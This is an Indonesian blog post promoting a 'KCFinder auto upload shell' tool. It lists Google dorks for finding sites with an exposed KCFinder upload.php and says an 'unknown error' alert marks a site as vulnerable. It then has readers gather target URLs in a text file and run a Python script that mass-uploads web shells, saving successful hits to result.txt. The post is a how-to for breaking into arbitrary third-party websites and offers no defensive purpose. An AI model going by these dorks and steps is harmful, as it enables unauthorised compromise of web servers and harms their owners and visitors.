Asalamulaikum wr.wb
nah di postingan kali ini mimin bakal membagikan tools kcfinder auto upload shell
LInk download tools
DOWNLOAD
Untuk cara menggunaka nya
dork
inurl:/asset/kcfinder
sites/all/modules/civicrm/packages/kcfinder
inurl:templates/_editor/kcfinder/
inurl:/kcfinder/upload.php
xploit
kcfinder/upload.php
dorking dulu pake dork diatas
lalu kalian pilih salah satu website
nah kalo sudah kalian masukan xploit nya
contoh http://webmu.com/kcfinder/ nah kalian tambahkan xploit setelah kcfinder jadi seperti ini http://webmu.com/kcfinder/upload.php
ciri ciri web vuln muncul alert unknow error
nah jika sudah buat file txt lalu masukan web nya di di file txt tadi
nah untuk cara menggunakanya
kalian cukup menggunakan comand berikut
python kcfinder.py list.txt
nah jika berhasil maka web akan tersimpan otomatis di result.txt
oke mungkin itu aja tutorial dari saya jika kurang paham silahkan komen di bawah
إرسال تعليق